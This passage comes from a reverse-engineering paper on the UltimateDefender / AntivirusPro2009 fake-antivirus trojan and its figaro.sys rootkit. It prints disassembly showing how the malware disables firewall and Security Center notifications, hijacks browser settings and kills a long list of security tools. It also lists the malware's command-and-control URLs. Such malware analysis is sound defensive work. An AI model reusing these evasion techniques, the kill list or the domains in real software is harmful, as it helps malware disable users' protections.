0040154A  PUSH 28      ;DesiredAccess = TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES
0040154C  CALL DWORD PTR DS:[40105C]  ;GetCurrentProcess
00401552  PUSH EAX     ;hProcess
00401553  CALL DWORD PTR DS:[401010]  ;OpenProcessToken
00401559  TEST EAX,EAX
0040155B  JNZ SHORT install.00401561
0040155D  XOR EAX,EAX
0040155F  JMP SHORT install.004015BB
00401561  LEA ECX,DWORD PTR SS:[EBP-10]
00401564  PUSH ECX                ;pLocalId
00401565  PUSH install.00401120   ;Privilege = "SeShutdownPrivilege"
0040156A  PUSH 0                  ;SystemName = NULL
0040156C  CALL DWORD PTR DS:[40100C]    ;LookupPrivilegeValueA
00401580  PUSH 0                            ; /pRetLen = NULL
00401582  PUSH 0                            ; |pPrevState = NULL
00401584  PUSH 0                            ; |PrevStateSize = 0
00401586  LEA EDX,DWORD PTR SS:[EBP-14]
00401589  PUSH EDX                          ; |pNewState
0040158A  PUSH 0                            ; |DisableAllPrivileges = FALSE
0040158C  MOV EAX,DWORD PTR SS:[EBP-4]
0040158F  PUSH EAX                          ; |hToken
00401590  CALL DWORD PTR DS:[<ModuleEntryPoint>>; \AdjustTokenPrivileges
00401596  CALL DWORD PTR DS:[401028]            ;  ntdll.RtlGetLastWin32Error
```

This call adjust Security Token Privileges of the malware itself and exits.

→ **CALL 004012E0**

Generates a file called **delself.bat** that deletes the malware itself.

Here ends install.exe infection phase, if all goes ok the system will be rebooted and brastk.exe executed when OS is loaded, so is the time to analyse brastk.exe =)

.:: brastk.exe Dissection ::.

When computer has restarted we are adviced that the PC has been infected, but this is a classical fake advice generated by **AntivirusPro2009**..

brastk.exe present a structure identical to install.exe, indeed during the dissection we will see the same API Importing Technique and other various similarities.

```
00401008   PUSH EBP
00401009   PUSH EDI
0040100A   PUSH ESI
0040100B   PUSH EBX
0040100C   CALL brastk.0040101E

...
0040101E   PUSH B1866570
00401023   CALL brastk.00401104  ;ImportApi(HardcodeDword)
00401028   CALL EAX              ;kernel32.GetModuleHandleA
0040102A   CALL brastk.00401046
```

→ **CALL 00401046**

```
00401046   NOP
00401047   PUSH EAX
00401049   PUSH C97C1FFF
0040104F   CALL brastk.00401104   ;ImportApi(HardcodeDword)
00401054   CALL EAX               ;kernel32.GetProcAddress
...
00401089   PUSH ECX
```

```
0040108A   PUSH 10066F2F
0040108F   CALL brastk.00401104   ;ImportApi(HardcodeDword)
...
00401098   PUSH DWORD PTR DS:[EDX+30]
0040109B   PUSH DWORD PTR DS:[EDX+34]
0040109E   ADD DWORD PTR SS:[ESP],EBX
004010A1   MOV EDX,EAX
004010A3   CALL EDX               ;kernel32.VirtualProtect
...
004010AA   POP EDI
004010AB   POP EBP
004010AC   PUSH ECX
004010AD   CALL EDX              ;brastk.004027C8
```

As you can see the execution architecture/flow is equal to install.exe, for reasons of practicity I jumped the analysis of the same pieces of code and I report here only a basical descryption of what brastk.exe does.

After Allocating a Portion of memory, the same operations of install.exe are performed, an IAT is builded and some executable codes are uncompressed and next execution comes back to brastk.

```
00402240   PUSH EBP
00402241   MOV EBP,ESP
00402243   SUB ESP,110
00402249   CALL brastk.00402840
...
00402872   PUSH brastk.00401BE0  ; ASCII "license"
00402877   PUSH brastk.00401BE8  ; "SOFTWARE\AntivirusPro2009"
0040287C   PUSH 80000002
00402881   CALL brastk.00402700
...
004028BE   PUSH brastk.00401C04  ; ASCII "ProgramFilesDir"
004028C3   PUSH brastk.00401C14  ; "SOFTWARE\Microsoft\Windows\CurrentVersion"
004028C8   PUSH 80000002
004028CD   CALL brastk.00402700
```

Some Registry Key Entries are created..

"\AntivirusPro2009\AntivirusPro2009.exe"

```
004028DF   LEA ECX,DWORD PTR SS:[EBP-108]
004028E5   PUSH ECX
004028E6   CALL DWORD PTR DS:[401024]      ; kernel32.lstrcatA
```

The path **C:\programmi\\AntivirusPro2009\AntivirusPro2009.exe** is assembled

```
00402A43   PUSH ECX
00402A44   PUSH brastk.00401CE0 ; ASCII "{43278042765666376467364766335463 2}"
00402A49   PUSH 1
00402A4B   PUSH 0
00402A4D   CALL DWORD PTR DS:[40103C]    ; kernel32.CreateMutexA
```

A Mutex is created so that only one copy of the trojan runs at a time, if Mutex exist execution ends else continues. This is the next call that need to be analysed:

→ **CALL 00402910**

```
00402939   PUSH brastk.00401C68      ; ASCII
"SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%d\"
0040293E   LEA EAX,DWORD PTR SS:[EBP-110]
```

```
00402944   PUSH EAX
00402945   CALL DWORD PTR DS:[401080]   ; USER32.wsprintfA
...
00402968   PUSH EDX ;"SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\0\"
00402969   PUSH 80750002
0040296E   CALL brastk.00402770
```

This Registry entry is filled with values: 1200, 1201, 1208, 1608, 1804, 2500 and this is iterated 6 times:

1. **SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0**
2. **SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1**
3. **SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2**
4. **SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3**
5. **SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4**
6. **SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\5**

Other registry entries are created

```
00402279    "AntiVirusDisableNotify"
0040227E    PUSH brastk.00401588   ; ASCII "SOFTWARE\Microsoft\Security Center"
00402283    PUSH 80000002
00402288    CALL brastk.00402770
...
```

In the same way are created other Reg Entries:

"FirewallDisableNotify"
"SOFTWARE\Microsoft\Security Center"

"UpdatesDisableNotify"
"SOFTWARE\Microsoft\Security Center"

"AntiVirusDisableNotify"
"SOFTWARE\Microsoft\Security Center"

"EnableFirewall"
"SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"

"EnableFirewall"
"SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile"

"EnableFirewall"
"SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile"

In this way, UltimateDefender disables Firewall and Security Updates

The trojan adds the following registry entries to modify the user's Internet Explorer Home Page and Search Page:

"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects"
"Enable Browser Extensions"
"Software\Microsoft\Internet Explorer\Main" → "http://www.google.com/ie"
"Search Bar"
"Software\Microsoft\Internet Explorer\Main" "Search Page"
"Software\Microsoft\Internet Explorer\Main" → "Default_Search_URL"

Here some information on UltimateDefender Backdoor Capabilities:

CreateFileA(C:\Documents and Settings\Evilcry\Impostazioni locali\Temporary

Internet Files\Content.IE5\index.dat)
CreateFileA(C:\Documents and Settings\Evilcry\Impostazioni locali\Temporary internet Files\Content.IE5\index.dat)
CreateFileA(C:\Documents and Settings\Evilcry\Cookies\index.dat)

after creating these files

761b2682 **RegOpenKeyExA (Extensible Cache)**
761b2682 **RegOpenKeyExA (MSHist012008081520080816)**
761b2682 RegOpenKeyExA (MSHist012008081620080817)
761b2682 RegOpenKeyExA (MSHist012008081720080818)

RegOpenKeyExA (Extensible Cache)
RegOpenKeyExA (MSHist012008081520080816)
RegOpenKeyExA (MSHist012008081620080817)
RegOpenKeyExA (MSHist012008081720080818)

Is opened Extensible Cache and asked History Infotmations relative to three dates:

- MSHist0120080815-**2008-08-16**
- MSHist0120080815-**2008-08-17**
- MSHist0120080815-**2008-08-18**

772a7aa6 RegOpenKeyExA (HKCU\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings)
761c1dec RegOpenKeyExA (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings)
761c1e26 RegOpenKeyExA (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache)
761c2029 CreateMutex((null))
760af7f0 RegOpenKeyExA (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent)
760af807 RegOpenKeyExA (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent)
760af823 RegOpenKeyExA (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent)
760af83a RegOpenKeyExA (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent)
760af8ca RegOpenKeyExA (UA Tokens)
760af8ea RegOpenKeyExA (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings)
760af955 RegEnumValueA)
760af955 RegEnumValueA MSN 2.0)
760af955 RegEnumValueA MSN 2.5)
760b153f RegOpenKeyExA (Pre Platform)
760b1567 RegEnumValueA MSN 2.5)
760b133c GetVersionExA()
760b1594 RegOpenKeyExA (Post Platform)
760b15bd RegEnumValueA MSN 2.5)
761b15d1 WaitForSingleObject(71c,ffffffff)
761c2885 LoadLibraryA(wsock32)=71a50000
761c2924 LoadLibraryA(ws2_32)=71a30000
77e5ac53 CreateRemoteThread(h=ffffffff, start=761d3e93)
761d3d46 socket(family=2,type=2,proto=11)
760b16ed RegOpenKeyExA (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\UrlMon Settings)
71a352c6 LoadLibraryA(C:\WINDOWS\system32\mswsock.dll)=719d0000
719d716a LoadLibraryA(C:\WINDOWS\system32\mswsock.dll)=719d0000

```
761b4121     RegOpenKeyExA
(HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http
Filters\RPA)
761b413e     RegOpenKeyExA
(HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http
Filters\RPA)
772a3950     RegOpenKeyExA
(HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\)
772a7979     RegOpenKeyExA (Ranges\)
71a214eb     GlobalAlloc()
761d3d7c     bind(704, port=0)
761d3da6     connect( 127.0.0.1:1031 )
77e5ac53     CreateRemoteThread(h=ffffffff, start=401e90)
```

When victim launches Internet Explorer, a malicious website appears with a fake security alert that invites user to install an antivirus (the malicious application)

here the malicious URLs used:

http://do-power-scan.com/?wmid=%s&l=34&it=2&s=%s
http://do-step-scan.com/?wmid=%s&l=34&it=2&s=%s
http://do-monster-progress.com/?wmid=%s&l=34&it=2&s=%s
http://domonster-progress.com/?wmid=%s&l=34&it=2&s=%s
http://dopower-scan.com/?wmid=%s&l=34&it=2&s=%s
http://dostep-scan.com/?wmid=%s&l=34&it=2&s=%s
http://do-monsterscan.com/?wmid=%s&l=34&it=2&s=%s
http://do-powerscan.com/?wmid=%s&l=34&it=2&s=%s
http://do-stepscan.com/?wmid=%s&l=34&it=2&s=%s
http://doscan-progress.com/?wmid=%s&l=34&it=2&s=%s
http://do-fixed-progress.com/?wmid=%s&l=34&it=2&s=%s
http://domanaged-scan.com/?wmid=%s&l=34&it=2&s=%s
http://do-managedscan.com/?wmid=%s&l=34&it=2&s=%s
http://domake-progress.com/?wmid=%s&l=34&it=2&s=%s

These domains are used to receive instructions regarding where to download additional malware.

.:: Figaro.sys Rootkit Analysis ::.

As you should remember, install.exe creates also a system driver called figaro.sys, thanks to sfc_os WPF is disabled and the original beep.sys is infected with the malicious content of figaro.sys, so we have to reverse beep.sys.

Rootkit is identified as: **Backdoor.Win32.UltimateDefender.a**, let's decompile it!

```
00011F66      ; int __stdcall start(PDRIVER_OBJECT DeviceObject,int)
00011F73      push    eax             ; DeviceObject
00011F76      push    ebx             ; Exclusive
00011F77      push    ebx             ; DeviceCharacteristics
00011F78      push    1               ; DeviceType
00011F7A      lea     eax, [ebp+DeviceName]
00011F7D      push    eax             ; DeviceName
00011F7E      push    58h             ; DeviceExtensionSize
00011F80      push    esi             ; DriverObject
00011F81      mov     [ebp+DeviceName.Length], 18h
00011F87      mov     [ebp+DeviceName.MaximumLength], 1Ah
00011F8D      mov     [ebp+DeviceName.Buffer], offset aDeviceBeep ;
"\\Device\\Beep"
00011F94      call    ds:IoCreateDevice
00011F9A      cmp     eax, ebx
```

```
00011F9C      jl      loc_120B5       ;Jump out
```

Device beep is created but if it already exists driver exits

```
00011FA9      mov     dword ptr [esi+38h], offset Routine_1
00011FB0      mov     dword ptr [esi+40h], offset Routine_2
00011FB7      mov     dword ptr [esi+80h], offset Routine_3
00011FC1      mov     dword ptr [esi+70h], offset Routine_4
00011FC8      mov     dword ptr [esi+34h], offset Routine_5
00011FCF      mov     dword ptr [esi+30h], offset Routine_6
```

here driver associates a series of routines

```
00011FE4      mov     eax, ds:ZwQuerySystemInformation
00011FE9      mov     edx, ds:KeServiceDescriptorTable
00011FEF      mov     ecx, [eax+1]
00011FF2      mov     edx, [edx]
00011FF4      mov     ecx, [edx+ecx*4] ;ECX == NtQuerySystemInformation
00011FF7      mov     dword_17590, ecx
```

Uses KeServiceDescriptorTable to locate NtQuerySystemInformation..

```
0001201B      push    edi
0001201C      push    offset NotifyRoutine ; NotifyRoutine
00012021      call    PsSetLoadImageNotifyRoutine
```

PsSetLoadImageNotifyRoutine represents the core part of figaro.sys, indeed this function registers a driver-supplied callback that is subsequently notified whenever an image is loaded for execution. In this way fake beep.sys became able to “know” when a program is executed, and to make a series of check on it (we will see this after figaro.sys complete analysis).

```
0001202B      push    edi             ; Length
0001202C      mov     esi, offset unk_13000
00012031      push    esi             ; int
00012032      push    offset Buffer   ; "\\"
00012037      call    sub_120BC       ;Create and Fill a File
...
0001205E      push    edi             ; Length
0001205F      push    esi             ; int
00012060      push    offset aSystemrootSyst ;
"\\SystemRoot\\system32\\karna.dat"
00012065      call    sub_120BC
```

Here is created a file into **SystemRoot** called **karna.dat**

```
0012079       push    offset DeferredRoutine ; DeferredRoutine
0001207E      add     eax, 74h
00012081      push    eax             ; Dpc
00012082      call    ds:KeInitializeDpc
```

Let's see the DereferredRoutine:

```
00011B9C      mov     eax, [esp+8]
00011BA0      push    esi
00011BA1      mov     esi, [eax+28h]
00011BA4      push    0               ; Frequency
00011BA6      call    ds:HalMakeBeep
```

Simply performs a beep, (beep.sys does this) by calling HalMakeBeep.
Now we put a breakpoint for PsSetLoadImageNotifyRoutine's NotifyRoutine and after release debugger to see what happens when an image is loaded for execution.

Let's Reverse the NotifyRoutine:

```
00011EF6 ; void __stdcall NotifyRoutine(PUNICODE_STRING, HANDLE, PIMAGE_INFO)
00011EF6 ProcessHandle   = dword ptr  4
00011EF6 Handle          = dword ptr  8
00011EF6 PIMAGE_INFO     = dword ptr  0Ch
00011EF6
00011EF6     mov     eax, [esp+PIMAGE_INFO]
00011EFA     push    dword ptr [eax+0Ch]
00011EFD     mov     ecx, [eax]
00011EFF     shr     ecx, 8
00011F02     and     ecx, 1
00011F05     push    ecx
00011F06     push    dword ptr [eax+4] ; int
00011F09     push    [esp+0Ch+Handle] ; int
00011F0D     push    [esp+10h+ProcessHandle] ; ProcessHandle
00011F11     call    sub_12408   ;Function that we are going to Reverse
00011F16     retn    0Ch
```

We immediately understand that **PIMAGE_INFO** Struct contains a list of informations releated to the Image Loaded and one of them is passed as parameter for call sub_12408, other two parameters are Handle and ProcessHandle.

→ **call   sub_12408**

```
00012408 ; int __stdcall sub_12408(PUNICODE_STRING ProcessHandle, int, int, int,
int)
00012408     push    ebp
00012409     mov     ebp, esp
0001240B     sub     esp, 30h
...
00012415     push          ; AllocateDestinationString
00012417     push    [ebp+ProcessHandle] ; SourceString
...
00012434     push    eax             ; DestinationString
00012435     call    ds:RtlUnicodeStringToAnsiString
..
00012445     cmp     [ebp+14h], ebx   ;Reached the end of the list?
00012448     jnz     loc_12536
0001244E     cmp     off_17240, ebx
00012454     jz      short loc_124AE
00012456     mov     esi, offset off_17240
0001245B     push    dword ptr [esi]
0001245D     push    [ebp+DestinationString.Buffer]
00012460     call    sub_123BA        ;check if the ImageName is present into
the list
00012465     test    eax, eax
00012467     jz      short loc_124A2 ;Jump if the LoadedImage does not match
with the List
ess], eax
```

->if jump is not taken, the loaded process comes from the list, and is firstly Open with **ZwOpenProcess** and next **Terminated** woth **ZwTerminateProcess**. In this way dangerous (for malware) applications are suddenly **killed** =)

```
0001247B     lea     eax, [ebp+ClientId]
0001247E     push    eax             ; ClientId
0001247F     lea     eax, [ebp+ObjectAttributes]
00012482     push    eax             ; ObjectAttributes
00012483     push    1F0FFFh         ; DesiredAccess
00012488     lea     eax, [ebp+ProcessHandle]
0001248B     push    eax             ; ProcessHandle
0001248C     mov     [ebp+ProcessHandle], ebx
```

```
0001248F     mov     [ebp+ClientId.UniqueThread], ebx
00012492     call    ds:ZwOpenProcess
00012498     push    ebx             ; ExitStatus
00012499     push    [ebp+ProcessHandle] ; ProcessHandle
0001249C     call    ds:ZwTerminateProcess
```

if the process loaded isn't into list figaro.sys checks if is a system file such as winlogon.exe csrss.exe etc..

at the end of the process creates registry entry for karna.dat

```
00012508    push    offset aKarna_dat ; "karna.dat"
0001250D    push    offset aA       ; "A"
00012512    push    offset aRegistryMachin ;
"\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows"
00012517    call    sub_1226A
```

Here ends the work of figaro.sys =)

This is the list of killed executables:

```
\spdt.sys   \gmer.sys   \taskmon.sys    \kernelw.sys    \wowfx.dll  \pctfw2.sys
\symtdi.sys \symevent.sys   \fltmgr.sys \bmbemuhl   \ip6fw.sys  \fmtr.sys
\sdhelper.dll   \wincom32.sys   \rdriv.sys  \mpfirewall.sys \sandbox.sys
\filtnt.sys \bc_tdi_f.sys   \bc_prt_f.sys   \bc_pat_f.sys   \bc_ngn.sys
\bc_ip_f.sys    \bc_hassh_f.sys \bcftdi.sys \bcfilter.sys   \watchdog.sys
\vsdatant.sys   \kmd.exe    \winavxx.exe    \bolenjx.exe    \bolenja.exe
\rootkit_detektive.exe  \autoruns.exe   \vundofix.exe   \trjscan.exe
\tpsrv.exe  \thguard.exe    \symwsc.exe \superantispyware.exe   \spyblock.dll
\spbbcsvc.exe   \sndsrvc.exe    \sndmon.exe \sdtrayapp.exe  \sbserv.exe
\pskmssvc.exe   \psimsvc.exe    \pshost.exe \psctrls.exe    \pifsvc.exe
\pavsrv51.exe   \pavprsrv.exe   \lucoms~1.exe   \lsetup.exe \ccsvchst.exe
\ccproxy.exe    \avengine.exe   \avciman.exe    \ashwebsv.exe   \ashserv.exe
\ashmaisv.exe   \apvxdwin.exe   \appsvc32.exe   \aluschedulersvc.exe
\gmer.exe   \killbox.exe    \avgupsvc.exe   \avgamsvr.exe   \avgw.exe
\avgcc.exe  \msmpeng.exe    \printer.exe    \svcntaux.exe   \swdsvc.exe
\avgas.exe  \symlcsvc.exe   \fwservice.exe  \prevxcsi.exe   navilog
\navapsvc.exe   \globkill.exe   \dss.exe    \procmast.exe   \combo.exe
\defwatch.exe   \ccsetmgr.exe   \ccpwdsvc.exe   \sdfix.exe  \zcomservice.exe
\zcodec.exe \zclient.exe    \spywaredetector.exe    \spybotsd.exe   \spybot.exe
\savscan.exe    \sandboxieserver.exe    \rtvscan.exe    \pboptions.exe
\pbcpl.exe  \pavfnsvr.exe   \overspy.exe    \overseer.exe   op_mon.exe
\outpost.exe    \ofcdog.exe \nvctrl.exe \nsmdtr.exe \nortonupdate.exe
\nod32ra.exe    \nod32krn.exe   \no32mon.exe    \nlsupervisorpro.exe
\njexplor.exe   \nisum.exe  \navw32.exe \navstub.exe    \navapp.exe
\myvideodaily2.exe  \mwsoemon.exe   \msssrv.exe \mcshield.exe   \malswep.exe
\malscr.exe \magiclink.exe  \lsass32.exe    \lsasrv.exe \livesrv.exe
\little_helper2.exe \kpf4ss.exe \klswd.exe  \klpf.exe   \kavsvc.exe \kavss.exe
\kav.exe    \issvc.exe  \isnotify.exe   \ismini.exe \inetupd.exe    \icmon.exe
\iao.exe    \hwpe2.exe  \hitvirus.exe   \hijackthis \hbtoeaddon.exe
\hackmon.exe    \gcasserv.exe   \gcasdtserv.exe \fsm32.exe  \fsbl.exe
\fsav32.exe \fatbuster.exe  \farsighter.exe \f-stopw.exe    \f-sched.exe
\eyetidecontroller.exe  \dsentry.exe    \cureit.exe \crypserv.exe   \cpf.exe
\cpd.exe    \comboxfix.exe  \combofix   \ccpxysvc.exe   \ccimscan.exe
\ccevtmgr.exe   \ccapp.exe  \cavtray.exe    \cavrid.exe \bdss.exe   \bdmcon.exe
\avz.exe    \avsched32.exe  \avpm.exe    \avp.exe    \avpcc.exe  \avgemc.exe
\avgagent.exe C:\Program Files\Apache
Group\Apache2\program\sc6\rootkit\Release\DrvFltIp.pdb
```

Karna.dat is Backdoor.Win32.Small.gjm that will be analysed in a succesive paper =)

The paper ends here, hope you enjoied it!

Regards,
Giuseppe 'Evilcry' Bonfa'